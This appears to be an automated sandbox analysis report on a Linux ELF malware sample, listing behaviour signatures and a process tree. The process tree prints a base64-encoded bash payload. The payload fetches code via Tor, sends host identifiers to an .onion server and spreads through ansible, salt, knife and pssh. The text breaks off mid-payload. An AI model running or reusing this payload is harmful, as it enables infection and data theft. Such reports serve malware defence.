Overview

overview

7

Static

static

1

73838d160e...a5.elf

ubuntu-18.04-amd64

7

Resubmissions

26/06/2026, 12:19

260626-phgrnabs8v7

19/07/2023, 06:36

230719-hcxglagc577

Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/06/2026, 12:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    73838d160eb7a23dfc8def07e8db1fa5.elf
  • Size 29KB
  • Sample260626-phgrnabs8v
  • SHA256 601a2ff4a7244ed41dda1c1fc71b10d3cfefa34e2ef8ba71598f41f73c031443
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscoveryprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

    Abuse sudo or cached sudo credentials to execute code.

    privilege_escalationdefense_evasion
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Changes its process name 1 IoCs
  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Reads runtime system information 9 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/73838d160eb7a23dfc8def07e8db1fa5.elf
    /tmp/73838d160eb7a23dfc8def07e8db1fa5.elf
    1⤵
    • Deletes itself
    • Changes its process name
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1492
    • /bin/sh
      sh -c "echo RVNvMVlTCmV4ZWMgJj4vZGV2L251bGwKZXd2QkJlQ209Li8uJChkYXRlfG1kNXN1bXxoZWFkIC1jMjApCnFkbm1DdUZlPShkb2gtY2guYmxhaGRucy5jb20gZG9oLWRlLmJsYWhkbnMuY29tIGRvaC1qcC5ibGFoZG5zLmNvbSBkb2gtc2cuYmxhaGRucy5jb20gZG9oLmxpIGRvaC5wdWIgZG9oLmRucy5zYiBkbnMudHduaWMudHcpCmZ1V3RPY1RUPSIvdG1wL3N5c3RlbWQtcHJpdmF0ZS1hMTNiNTBiYTgzYmNjMzY3OTc5NWZlYzJmMTA2ZDAyZS1zeXN0ZW1kLWxvZ2luZC5zZXJ2aWNlLUVTbzFZUyIKa3pLWXBCVnI9ImN1cmwgLW02MCAtZnNTTGtBLSAtLWRvaC11cmwgaHR0cHM6Ly8ke3Fkbm1DdUZlWyQoKFJBTkRPTSUkeyNxZG5tQ3VGZVtAXX0pKV19L2Rucy1xdWVyeSIKektqSmtWV0Y9ImN1cmwgLW02MCAtZnNTTGtBLSIKY1ZYZnVWWm89InJlbGF5LnRvcjJzb2Nrcy5pbiIKdkJaakdNeEY9InJ1NnI0aW5rYWY0dGhsZ2ZsZzRpcXM1bWhxd3F1Ym9sczVxYWdzcHZ5YTR3aHAzZGdidm15aGFkIgpQQVRIPSRmdVd0T2NUVDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW46JFBBVEgKCkl2Wlp5b1lzKCkgewoJZm9yIGkgaW4gJGZ1V3RPY1RUIC4gL3Vzci9iaW4gL3Zhci90bXAgL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKc21oZ2NRWFMoKSB7CglnSmlid01wQj0vc2NhbgoJJGt6S1lwQlZyIC14IHNvY2tzNWg6Ly8kY1ZYZnVWWm86OTA1MCAkdkJaakdNeEYub25pb24kZ0ppYndNcEIgLW8kZXd2QkJlQ20gfHwgJGt6S1lwQlZyICQxJGdKaWJ3TXBCIC1vJGV3dkJCZUNtIHx8ICR6S2pKa1ZXRiAteCBzb2NrczVoOi8vJGNWWGZ1VlpvOjkwNTAgJHZCWmpHTXhGLm9uaW9uJGdKaWJ3TXBCIC1vJGV3dkJCZUNtIHx8ICR6S2pKa1ZXRiAkMSRnSmlid01wQiAtbyRld3ZCQmVDbQp9CgptWVZlVExEUCgpIHsKCWNobW9kICt4ICRld3ZCQmVDbTskZXd2QkJlQ207cm0gLWYgJGV3dkJCZUNtCn0KCkZEbkhLaWNjKCkgewoJZ0ppYndNcEI9L2luaXQKCUp6Tlp5Z1dNPSQoY3VybCAtNCBpZGVudC5tZXx8Y3VybCAtNCBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW4pXyQodW5hbWUgLXIpXyQoY2F0IC9ldGMvbWFjaGluZS1pZHx8KGlwIHJ8fGhvc3RuYW1lIC1pfHxlY2hvIG5vLWlkKXxtZDVzdW18YXdrIE5GPTEpCgkka3pLWXBCVnIgLXggc29ja3M1aDovLyRjVlhmdVZabzo5MDUwIC1lJEp6Tlp5Z1dNICR2QlpqR014Ri5vbmlvbiRnSmlid01wQiB8fCAka3pLWXBCVnIgLWUkSnpOWnlnV00gJDEkZ0ppYndNcEIgfHwgJHpLakprVldGIC14IHNvY2tzNWg6Ly8kY1ZYZnVWWm86OTA1MCAtZSRKek5aeWdXTSAkMSRnSmlid01wQiB8fCAkektqSmtWV0YgLWUkSnpOWnlnV00gJDEkZ0ppYndNcEIKfQoKV3BUelBZbEQoKSB7CglTclRsSU1rVCgpIHsKCQlyZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCgkJRE9DPS8ke3BhdGgvLyAvL30KCQlIT1NUPSR7c2VydmVyLy86Kn0KCQlQT1JUPSR7c2VydmVyLy8qOn0KCQlbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoJCWV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAoJCWVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcblVzZXItQWdlbnQ6IC1cclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKCQkod2hpbGUgcmVhZCBsaW5lOyBkbwoJCVtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKCQlkb25lICYmIGNhdCkgPCYzCgkJZXhlYyAzPiYtCgl9CgoJbWtkaXIgLXAgJGZ1V3RPY1RUICYmIGNobW9kIDc1NSAkZnVXdE9jVFQKCW1rZGlyIC1wICRIT01FLy5jb25maWcvc3lzdGVtZC91c2VyLwoJbWtkaXIgLXAgJEhPTUUvLmNvbmZpZy9zeXN0ZW1kL3VzZXIvc3lzdGVtZC10bXBmaWxlcy1jbGVhbnVwCgl1PSR2QlpqR014Ri50b3Iyd2ViLml0L2xvYWQvCgljZCAkZnVXdE9jVFQKCWN1cmwgLVYgfHwgKFNyVGxJTWtUIGh0dHA6Ly8kdS9jdSkgfCB0YXIgenhwCglzcyAtViB8fCAoU3JUbElNa1QgaHR0cDovLyR1L3NzKSB8IHRhciB6eHAKCXBzIC1WIHx8IChTclRsSU1rVCBodHRwOi8kdS9wcykgfCB0YXIgenhwCglwa2lsbCAtViB8fCAoU3JUbElNa1QgaHR0cDovLyR1L3BrKSB8IHRhciB6eHAKCWNobW9kICt4ICoKfQoKbVVnTUZQcWUoKSB7CglhbnNpYmxlIGFsbCAtbSBzaGVsbCAtYSAnZWNobyBSVk52TVZsVENtVjRaV01nSmo0dlpHVjJMMjUxYkd3S1pYZDJRa0psUTIwOUxpOHVKQ2hrWVhSbGZHMWtOWE4xYlh4b1pXRmtJQzFqTWpBcENuRmtibTFEZFVabFBTaGtiMmd0WTJndVlteGhhR1J1Y3k1amIyMGdaRzlvTFdSbExtSnNZV2hrYm5NdVkyOXRJR1J2YUMxcWNDNWliR0ZvWkc1ekxtTnZiU0JrYjJndGMyY3VZbXhoYUdSdWN5NWpiMjBnWkc5b0xteHBJR1J2YUM1d2RXSWdaRzlvTG1SdWN5NXpZaUJrYm5NdWRIZHVhV011ZEhjcENtWjFWM1JQWTFSVVBTSXZkRzF3TDNONWMzUmxiV1F0Y0hKcGRtRjBaUzFoTVROaU5UQmlZVGd6WW1Oak16WTNPVGM1TldabFl6Sm1NVEEyWkRBeVpTMXplWE4wWlcxa0xXeHZaMmx1WkM1elpYSjJhV05sTFVWVGJ6RlpVeUlLYTNwTFdYQkNWbkk5SW1OMWNtd2dMVzAyTUNBdFpuTlRUR3RCTFNBdExXUnZhQzExY213Z2FIUjBjSE02THk4a2UzRmtibTFEZFVabFd5UW9LRkpCVGtSUFRTVWtleU54Wkc1dFEzVkdaVnRBWFgwcEtWMTlMMlJ1Y3kxeGRXVnllU0lLZWt0cVNtdFdWMFk5SW1OMWNtd2dMVzAyTUNBdFpuTlRUR3RCTFNJS1kxWllablZXV204OUluSmxiR0Y1TG5SdmNqSnpiMk5yY3k1cGJpSUtka0phYWtkTmVFWTlJbkoxTm5JMGFXNXJZV1kwZEdoc1oyWnNaelJwY1hNMWJXaHhkM0YxWW05c2N6VnhZV2R6Y0haNVlUUjNhSEF6WkdkaWRtMTVhR0ZrSWdwUVFWUklQUzkwYlhBNkpHWjFWM1JQWTFSVU9pUklUMDFGT2k5aWFXNDZMM05pYVc0NkwzVnpjaTlpYVc0NkwzVnpjaTl6WW1sdU9pOTFjM0l2Ykc5allXd3ZZbWx1T2k5MWMzSXZiRzlqWVd3dmMySnBiam9rVUVGVVNBb0tVM0pVYkVsTmExUW9LU0I3Q2dseVpXRmtJSEJ5YjNSdklITmxjblpsY2lCd1lYUm9JRHc4UENRb1pXTm9ieUFrZXpFdkx5OHZJSDBwQ2dsRVQwTTlMeVI3Y0dGMGFDOHZJQzh2ZlFvSlNFOVRWRDBrZTNObGNuWmxjaTh2T2lwOUNnbFFUMUpVUFNSN2MyVnlkbVZ5THk4cU9uMEtDVnRiSUhnaUpIdElUMU5VZlNJZ1BUMGdlQ0lrZTFCUFVsUjlJaUJkWFNBbUppQlFUMUpVUFRnd0NnbGxlR1ZqSURNOFBpOWtaWFl2ZEdOd0x5UjdTRTlUVkgwdkpGQlBVbFFLQ1dWamFHOGdMV1Z1SUNKSFJWUWdKSHRFVDBOOUlFaFVWRkF2TVM0d1hISmNibFZ6WlhJdFFXZGxiblE2SUMxY2NseHVTRzl6ZERvZ0pIdElUMU5VZlZ4eVhHNWNjbHh1SWlBK0pqTUtDU2gzYUdsc1pTQnlaV0ZrSUd4cGJtVTdJR1J2Q2dsYld5QWlKR3hwYm1VaUlEMDlJQ1FuWEhJbklGMWRJQ1ltSUdKeVpXRnJDZ2xrYjI1bElDWW1JR05oZENrZ1BDWXpDZ2xsZUdWaklETStKaTBLZlFvS1NYWmFXbmx2V1hNb0tTQjdDZ2xtYjNJZ2FTQnBiaUFrWm5WWGRFOWpWRlFnTGlBdmRYTnlMMkpwYmlBdmRtRnlMM1J0Y0NBdmRHMXdJRHRrYnlCbFkyaHZJR1Y0YVhRZ1BpQWthUzlwSUNZbUlHTm9iVzlrSUN0NElDUnBMMmtnSmlZZ1kyUWdKR2tnSmlZZ0xpOXBJQ1ltSUhKdElDMW1JR2tnSmlZZ1luSmxZV3M3Wkc5dVpRcDlDZ3B6YldoblkxRllVeWdwSUhzS0NXZEthV0ozVFhCQ1BTOWxlR1ZqQ2dsS2VrNWFlV2RYVFQxamNqRmZKQ2hqZFhKc0lDMDBJR2xrWlc1MExtMWxmSHhqZFhKc0lDMDBJR2x3TG5OaUtWOGtLSGRvYjJGdGFTbGZKQ2gxYm1GdFpTQXRiaWxmSkNoMWJtRnRaU0F0Y2lsZkpDaGpZWFFnTDJWMFl5OXRZV05vYVc1bExXbGtmSHdvYVhBZ2NueDhhRzl6ZEc1aGJXVWdMV2w4ZkdWamFHOGdibTh0YVdRcGZHMWtOWE4xYlh4aGQyc2dUa1k5TVNrS0NTUnJla3RaY0VKV2NpQXRlQ0J6YjJOcmN6Vm9PaTh2SkdOV1dHWjFWbHB2T2prd05UQWdMV1VrU25wT1dubG5WMDBnSkhaQ1dtcEhUWGhHTG05dWFXOXVKR2RLYVdKM1RYQkNJQzF2SkdWM2RrSkNaVU50SUh4OElDUnJla3RaY0VKV2NpQXRaU1JLZWs1YWVXZFhUU0FrTVNSblNtbGlkMDF3UWlBdGJ5UmxkM1pDUW1WRGJTQjhmQ0FrZWt0cVNtdFdWMFlnTFhnZ2MyOWphM00xYURvdkx5UmpWbGhtZFZaYWJ6bzVNRFV3SUMxbEpFcDZUbHA1WjFkTklDUjJRbHBxUjAxNFJpNXZibWx2YmlSblNtbGlkMDF3UWlBdGJ5UmxkM1pDUW1WRGJTQjhmQ0FrZWt0cVNtdFdWMFlnTFdVa1NucE9XbmxuVjAwZ0pERWtaMHBwWW5kTmNFSWdMVzhrWlhkMlFrSmxRMjBLZlFvS2JWbFdaVlJNUkZBb0tTQjdDZ2xqYUcxdlpDQXJlQ0FrWlhkMlFrSmxRMjA3SkdWM2RrSkNaVU50TzNKdElDMW1JQ1JsZDNaQ1FtVkRiUXA5Q2dwQ2NFNVNTMFJsV1NncElIc0tDWFU5SkhaQ1dtcEhUWGhHTG5SdmNqSjNaV0l1YVhRdmJHOWhaQzhLQ1dOa0lDOTBiWEFnSmlZZ1kzVnliQ0F0VmlCOGZDQW9VM0pVYkVsTmExUWdhSFIwY0Rvdkx5UjFMMk4xS1NCOElIUmhjaUI2ZUhBS0NVbDJXbHA1YjFsekNnbHpiV2huWTFGWVV5QWtka0phYWtkTmVFWXVkRzl5TW5kbFlpNXBkQ0I4ZkFvSmMyMW9aMk5SV0ZNZ0pIWkNXbXBIVFhoR0xuUnZjakozWldJdWFXNGdmSHdLQ1hOdGFHZGpVVmhUSUNSMlFscHFSMDE0Umk1MGIzSXlkMlZpTG5KbENnbHRXVlpsVkV4RVVBcDlDZ3BzY3lBdmNISnZZeThrS0dobFlXUWdMVEVnTDNSdGNDOHVjM2x6ZEdWdFpDNHhLUzl0WVhCeklIeDhJRUp3VGxKTFJHVlpDZz09fGJhc2U2NCAtZHxiYXNoJwoJa25pZmUgc3NoICduYW1lOionICdlY2hvIFJWTnZNVmxUQ21WNFpXTWdKajR2WkdWMkwyNTFiR3dLWlhkMlFrSmxRMjA5TGk4dUpDaGtZWFJsZkcxa05YTjFiWHhvWldGa0lDMWpNakFwQ25Ga2JtMURkVVpsUFNoa2IyZ3RZMmd1WW14aGFHUnVjeTVqYjIwZ1pHOW9MV1JsTG1Kc1lXaGtibk11WTI5dElHUnZhQzFxY0M1aWJHRm9aRzV6TG1OdmJTQmtiMmd0YzJjdVlteGhhR1J1Y3k1amIyMGdaRzlvTG14cElHUnZhQzV3ZFdJZ1pHOW9MbVJ1Y3k1ellpQmtibk11ZEhkdWFXTXVkSGNwQ21aMVYzUlBZMVJVUFNJdmRHMXdMM041YzNSbGJXUXRjSEpwZG1GMFpTMWhNVE5pTlRCaVlUZ3pZbU5qTXpZM09UYzVOV1psWXpKbU1UQTJaREF5WlMxemVYTjBaVzFrTFd4dloybHVaQzV6WlhKMmFXTmxMVVZUYnpGWlV5SUthM3BMV1hCQ1ZuSTlJbU4xY213Z0xXMDJNQ0F0Wm5OVFRHdEJMU0F0TFdSdmFDMTFjbXdnYUhSMGNITTZMeThrZTNGa2JtMURkVVpsV3lRb0tGSkJUa1JQVFNVa2V5TnhaRzV0UTNWR1pWdEFYWDBwS1YxOUwyUnVjeTF4ZFdWeWVTSUtla3RxU210V1YwWTlJbU4xY213Z0xXMDJNQ0F0Wm5OVFRHdEJMU0lLWTFaWVpuVldXbTg5SW5KbGJHRjVMblJ2Y2pKemIyTnJjeTVwYmlJS2RrSmFha2ROZUVZOUluSjFObkkwYVc1cllXWTBkR2hzWjJac1p6UnBjWE0xYldoeGQzRjFZbTlzY3pWeFlXZHpjSFo1WVRSM2FIQXpaR2RpZG0xNWFHRmtJZ3BRUVZSSVBTOTBiWEE2SkdaMVYzUlBZMVJVT2lSSVQwMUZPaTlpYVc0NkwzTmlhVzQ2TDNWemNpOWlhVzQ2TDNWemNpOXpZbWx1T2k5MWMzSXZiRzlqWVd3dlltbHVPaTkxYzNJdmJHOWpZV3d2YzJKcGJqb2tVRUZVU0FvS1UzSlViRWxOYTFRb0tTQjdDZ2x5WldGa0lIQnliM1J2SUhObGNuWmxjaUJ3WVhSb0lEdzhQQ1FvWldOb2J5QWtlekV2THk4dklIMHBDZ2xFVDBNOUx5UjdjR0YwYUM4dklDOHZmUW9KU0U5VFZEMGtlM05sY25abGNpOHZPaXA5Q2dsUVQxSlVQU1I3YzJWeWRtVnlMeThxT24wS0NWdGJJSGdpSkh0SVQxTlVmU0lnUFQwZ2VDSWtlMUJQVWxSOUlpQmRYU0FtSmlCUVQxSlVQVGd3Q2dsbGVHVmpJRE04UGk5a1pYWXZkR053THlSN1NFOVRWSDB2SkZCUFVsUUtDV1ZqYUc4Z0xXVnVJQ0pIUlZRZ0pIdEVUME45SUVoVVZGQXZNUzR3WEhKY2JsVnpaWEl0UVdkbGJuUTZJQzFjY2x4dVNHOXpkRG9nSkh0SVQxTlVmVnh5WEc1Y2NseHVJaUErSmpNS0NTaDNhR2xzWlNCeVpXRmtJR3hwYm1VN0lHUnZDZ2xiV3lBaUpHeHBibVVpSUQwOUlDUW5YSEluSUYxZElDWW1JR0p5WldGckNnbGtiMjVsSUNZbUlHTmhkQ2tnUENZekNnbGxlR1ZqSURNK0ppMEtmUW9LU1haYVdubHZXWE1vS1NCN0NnbG1iM0lnYVNCcGJpQWtablZYZEU5alZGUWdMaUF2ZFhOeUwySnBiaUF2ZG1GeUwzUnRjQ0F2ZEcxd0lEdGtieUJsWTJodklHVjRhWFFnUGlBa2FTOXBJQ1ltSUdOb2JXOWtJQ3Q0SUNScEwya2dKaVlnWTJRZ0pHa2dKaVlnTGk5cElDWW1JSEp0SUMxbUlHa2dKaVlnWW5KbFlXczdaRzl1WlFwOUNncHpiV2huWTFGWVV5Z3BJSHNLQ1dkS2FXSjNUWEJDUFM5bGVHVmpDZ2xLZWs1YWVXZFhUVDFqY2pGZkpDaGpkWEpzSUMwMElHbGtaVzUwTG0xbGZIeGpkWEpzSUMwMElHbHdMbk5pS1Y4a0tIZG9iMkZ0YVNsZkpDaDFibUZ0WlNBdGJpbGZKQ2gxYm1GdFpTQXRjaWxmSkNoallYUWdMMlYwWXk5dFlXTm9hVzVsTFdsa2ZId29hWEFnY254OGFHOXpkRzVoYldVZ0xXbDhmR1ZqYUc4Z2JtOHRhV1FwZkcxa05YTjFiWHhoZDJzZ1RrWTlNU2tLQ1NScmVrdFpjRUpXY2lBdGVDQnpiMk5yY3pWb09pOHZKR05XV0daMVZscHZPamt3TlRBZ0xXVWtTbnBPV25sblYwMGdKSFpDV21wSFRYaEdMbTl1YVc5dUpHZEthV0ozVFhCQ0lDMXZKR1YzZGtKQ1pVTnRJSHg4SUNScmVrdFpjRUpXY2lBdFpTUktlazVhZVdkWFRTQWtNU1JuU21saWQwMXdRaUF0YnlSbGQzWkNRbVZEYlNCOGZDQWtla3RxU210V1YwWWdMWGdnYzI5amEzTTFhRG92THlSalZsaG1kVlphYnpvNU1EVXdJQzFsSkVwNlRscDVaMWROSUNSMlFscHFSMDE0Umk1dmJtbHZiaVJuU21saWQwMXdRaUF0YnlSbGQzWkNRbVZEYlNCOGZDQWtla3RxU210V1YwWWdMV1VrU25wT1dubG5WMDBnSkRFa1owcHBZbmROY0VJZ0xXOGtaWGQyUWtKbFEyMEtmUW9LYlZsV1pWUk1SRkFvS1NCN0NnbGphRzF2WkNBcmVDQWtaWGQyUWtKbFEyMDdKR1YzZGtKQ1pVTnRPM0p0SUMxbUlDUmxkM1pDUW1WRGJRcDlDZ3BDY0U1U1MwUmxXU2dwSUhzS0NYVTlKSFpDV21wSFRYaEdMblJ2Y2pKM1pXSXVhWFF2Ykc5aFpDOEtDV05rSUM5MGJYQWdKaVlnWTNWeWJDQXRWaUI4ZkNBb1UzSlViRWxOYTFRZ2FIUjBjRG92THlSMUwyTjFLU0I4SUhSaGNpQjZlSEFLQ1VsMldscDViMWx6Q2dsemJXaG5ZMUZZVXlBa2RrSmFha2ROZUVZdWRHOXlNbmRsWWk1cGRDQjhmQW9KYzIxb1oyTlJXRk1nSkhaQ1dtcEhUWGhHTG5SdmNqSjNaV0l1YVc0Z2ZId0tDWE50YUdkalVWaFRJQ1IyUWxwcVIwMTRSaTUwYjNJeWQyVmlMbkpsQ2dsdFdWWmxWRXhFVUFwOUNncHNjeUF2Y0hKdll5OGtLR2hsWVdRZ0xURWdMM1J0Y0M4dWMzbHpkR1Z0WkM0eEtTOXRZWEJ6SUh4OElFSndUbEpMUkdWWkNnPT18YmFzZTY0IC1kfGJhc2gnCglzYWx0ICcqJyBjbWQucnVuICdlY2hvIFJWTnZNVmxUQ21WNFpXTWdKajR2WkdWMkwyNTFiR3dLWlhkMlFrSmxRMjA5TGk4dUpDaGtZWFJsZkcxa05YTjFiWHhvWldGa0lDMWpNakFwQ25Ga2JtMURkVVpsUFNoa2IyZ3RZMmd1WW14aGFHUnVjeTVqYjIwZ1pHOW9MV1JsTG1Kc1lXaGtibk11WTI5dElHUnZhQzFxY0M1aWJHRm9aRzV6TG1OdmJTQmtiMmd0YzJjdVlteGhhR1J1Y3k1amIyMGdaRzlvTG14cElHUnZhQzV3ZFdJZ1pHOW9MbVJ1Y3k1ellpQmtibk11ZEhkdWFXTXVkSGNwQ21aMVYzUlBZMVJVUFNJdmRHMXdMM041YzNSbGJXUXRjSEpwZG1GMFpTMWhNVE5pTlRCaVlUZ3pZbU5qTXpZM09UYzVOV1psWXpKbU1UQTJaREF5WlMxemVYTjBaVzFrTFd4dloybHVaQzV6WlhKMmFXTmxMVVZUYnpGWlV5SUthM3BMV1hCQ1ZuSTlJbU4xY213Z0xXMDJNQ0F0Wm5OVFRHdEJMU0F0TFdSdmFDMTFjbXdnYUhSMGNITTZMeThrZTNGa2JtMURkVVpsV3lRb0tGSkJUa1JQVFNVa2V5TnhaRzV0UTNWR1pWdEFYWDBwS1YxOUwyUnVjeTF4ZFdWeWVTSUtla3RxU210V1YwWTlJbU4xY213Z0xXMDJNQ0F0Wm5OVFRHdEJMU0lLWTFaWVpuVldXbTg5SW5KbGJHRjVMblJ2Y2pKemIyTnJjeTVwYmlJS2RrSmFha2ROZUVZOUluSjFObkkwYVc1cllXWTBkR2hzWjJac1p6UnBjWE0xYldoeGQzRjFZbTlzY3pWeFlXZHpjSFo1WVRSM2FIQXpaR2RpZG0xNWFHRmtJZ3BRUVZSSVBTOTBiWEE2SkdaMVYzUlBZMVJVT2lSSVQwMUZPaTlpYVc0NkwzTmlhVzQ2TDNWemNpOWlhVzQ2TDNWemNpOXpZbWx1T2k5MWMzSXZiRzlqWVd3dlltbHVPaTkxYzNJdmJHOWpZV3d2YzJKcGJqb2tVRUZVU0FvS1UzSlViRWxOYTFRb0tTQjdDZ2x5WldGa0lIQnliM1J2SUhObGNuWmxjaUJ3WVhSb0lEdzhQQ1FvWldOb2J5QWtlekV2THk4dklIMHBDZ2xFVDBNOUx5UjdjR0YwYUM4dklDOHZmUW9KU0U5VFZEMGtlM05sY25abGNpOHZPaXA5Q2dsUVQxSlVQU1I3YzJWeWRtVnlMeThxT24wS0NWdGJJSGdpSkh0SVQxTlVmU0lnUFQwZ2VDSWtlMUJQVWxSOUlpQmRYU0FtSmlCUVQxSlVQVGd3Q2dsbGVHVmpJRE04UGk5a1pYWXZkR053THlSN1NFOVRWSDB2SkZCUFVsUUtDV1ZqYUc4Z0xXVnVJQ0pIUlZRZ0pIdEVUME45SUVoVVZGQXZNUzR3WEhKY2JsVnpaWEl0UVdkbGJuUTZJQzFjY2x4dVNHOXpkRG9nSkh0SVQxTlVmVnh5WEc1Y2NseHVJaUErSmpNS0NTaDNhR2xzWlNCeVpXRmtJR3hwYm1VN0lHUnZDZ2xiV3lBaUpHeHBibVVpSUQwOUlDUW5YSEluSUYxZElDWW1JR0p5WldGckNnbGtiMjVsSUNZbUlHTmhkQ2tnUENZekNnbGxlR1ZqSURNK0ppMEtmUW9LU1haYVdubHZXWE1vS1NCN0NnbG1iM0lnYVNCcGJpQWtablZYZEU5alZGUWdMaUF2ZFhOeUwySnBiaUF2ZG1GeUwzUnRjQ0F2ZEcxd0lEdGtieUJsWTJodklHVjRhWFFnUGlBa2FTOXBJQ1ltSUdOb2JXOWtJQ3Q0SUNScEwya2dKaVlnWTJRZ0pHa2dKaVlnTGk5cElDWW1JSEp0SUMxbUlHa2dKaVlnWW5KbFlXczdaRzl1WlFwOUNncHpiV2huWTFGWVV5Z3BJSHNLQ1dkS2FXSjNUWEJDUFM5bGVHVmpDZ2xLZWs1YWVXZFhUVDFqY2pGZkpDaGpkWEpzSUMwMElHbGtaVzUwTG0xbGZIeGpkWEpzSUMwMElHbHdMbk5pS1Y4a0tIZG9iMkZ0YVNsZkpDaDFibUZ0WlNBdGJpbGZKQ2gxYm1GdFpTQXRjaWxmSkNoallYUWdMMlYwWXk5dFlXTm9hVzVsTFdsa2ZId29hWEFnY254OGFHOXpkRzVoYldVZ0xXbDhmR1ZqYUc4Z2JtOHRhV1FwZkcxa05YTjFiWHhoZDJzZ1RrWTlNU2tLQ1NScmVrdFpjRUpXY2lBdGVDQnpiMk5yY3pWb09pOHZKR05XV0daMVZscHZPamt3TlRBZ0xXVWtTbnBPV25sblYwMGdKSFpDV21wSFRYaEdMbTl1YVc5dUpHZEthV0ozVFhCQ0lDMXZKR1YzZGtKQ1pVTnRJSHg4SUNScmVrdFpjRUpXY2lBdFpTUktlazVhZVdkWFRTQWtNU1JuU21saWQwMXdRaUF0YnlSbGQzWkNRbVZEYlNCOGZDQWtla3RxU210V1YwWWdMWGdnYzI5amEzTTFhRG92THlSalZsaG1kVlphYnpvNU1EVXdJQzFsSkVwNlRscDVaMWROSUNSMlFscHFSMDE0Umk1dmJtbHZiaVJuU21saWQwMXdRaUF0YnlSbGQzWkNRbVZEYlNCOGZDQWtla3RxU210V1YwWWdMV1VrU25wT1dubG5WMDBnSkRFa1owcHBZbmROY0VJZ0xXOGtaWGQyUWtKbFEyMEtmUW9LYlZsV1pWUk1SRkFvS1NCN0NnbGphRzF2WkNBcmVDQWtaWGQyUWtKbFEyMDdKR1YzZGtKQ1pVTnRPM0p0SUMxbUlDUmxkM1pDUW1WRGJRcDlDZ3BDY0U1U1MwUmxXU2dwSUhzS0NYVTlKSFpDV21wSFRYaEdMblJ2Y2pKM1pXSXVhWFF2Ykc5aFpDOEtDV05rSUM5MGJYQWdKaVlnWTNWeWJDQXRWaUI4ZkNBb1UzSlViRWxOYTFRZ2FIUjBjRG92THlSMUwyTjFLU0I4SUhSaGNpQjZlSEFLQ1VsMldscDViMWx6Q2dsemJXaG5ZMUZZVXlBa2RrSmFha2ROZUVZdWRHOXlNbmRsWWk1cGRDQjhmQW9KYzIxb1oyTlJXRk1nSkhaQ1dtcEhUWGhHTG5SdmNqSjNaV0l1YVc0Z2ZId0tDWE50YUdkalVWaFRJQ1IyUWxwcVIwMTRSaTUwYjNJeWQyVmlMbkpsQ2dsdFdWWmxWRXhFVUFwOUNncHNjeUF2Y0hKdll5OGtLR2hsWVdRZ0xURWdMM1J0Y0M4dWMzbHpkR1Z0WkM0eEtTOXRZWEJ6SUh4OElFSndUbEpMUkdWWkNnPT18YmFzZTY0IC1kfGJhc2gnCglwc3NoICdlY2hvIFJWTnZNVmxUQ21WNFpXTWdKajR2WkdWMkwyNTFiR3dLWlhkMlFrSmxRMjA5TGk4dUpDaGtZWFJsZkcxa05YTjFiWHhvWldGa0lDMWpNakFwQ25Ga2JtMURkVVpsUFNoa2IyZ3RZMmd1WW14aGFHUnVjeTVqYjIwZ1pHOW9MV1JsTG1Kc1lXaGtibk11WTI5dElHUnZhQzFxY0M1aWJHRm9aRzV6TG1OdmJTQmtiMmd0YzJjdVlteGhhR1J1Y3k1amIyMGdaRzlvTG14cElHUnZhQzV3ZFdJZ1pHOW9MbVJ1Y3k1ellpQmtibk11ZEhkdWFXTXVkSGNwQ21aMVYzUlBZMVJVUFNJdmRHMXdMM041YzNSbGJXUXRjSEpwZG1GMFpTMWhNVE5pTlRCaVlUZ3pZbU5qTXpZM09UYzVOV1psWXpKbU1UQTJaREF5WlMxemVYTjBaVzFrTFd4dloybHVaQzV6WlhKMmFXTmxMVVZUYnpGWlV5SUthM3BMV1hCQ1ZuSTlJbU4xY213Z0xXMDJNQ0F0Wm5OVFRHdEJMU0F0TFdSdmFDMTFjbXdnYUhSMGNITTZMeThrZTNGa2JtMURkVVpsV3lRb0tGSkJUa1JQVFNVa2V5TnhaRzV0UTNWR1pWdEFYWDBwS1YxOUwyUnVjeTF4ZFdWeWVTSUtla3RxU210V1YwWTlJbU4xY213Z0xXMDJNQ0F0Wm5OVFRHdEJMU0lLWTFaWVpuVldXbTg5SW5KbGJHRjVMblJ2Y2pKemIyTnJjeTVwYmlJS2RrSmFha2ROZUVZOUluSjFObkkwYVc1cllXWTBkR2hzWjJac1p6UnBjWE0xYldoeGQzRjFZbTlzY3pWeFlXZHpjSFo1WVRSM2FIQXpaR2RpZG0xNWFHRmtJZ3BRUVZSSVBTOTBiWEE2SkdaMVYzUlBZMVJVT2lSSVQwMUZPaTlpYVc0NkwzTmlhVzQ2TDNWemNpOWlhVzQ2TDNWemN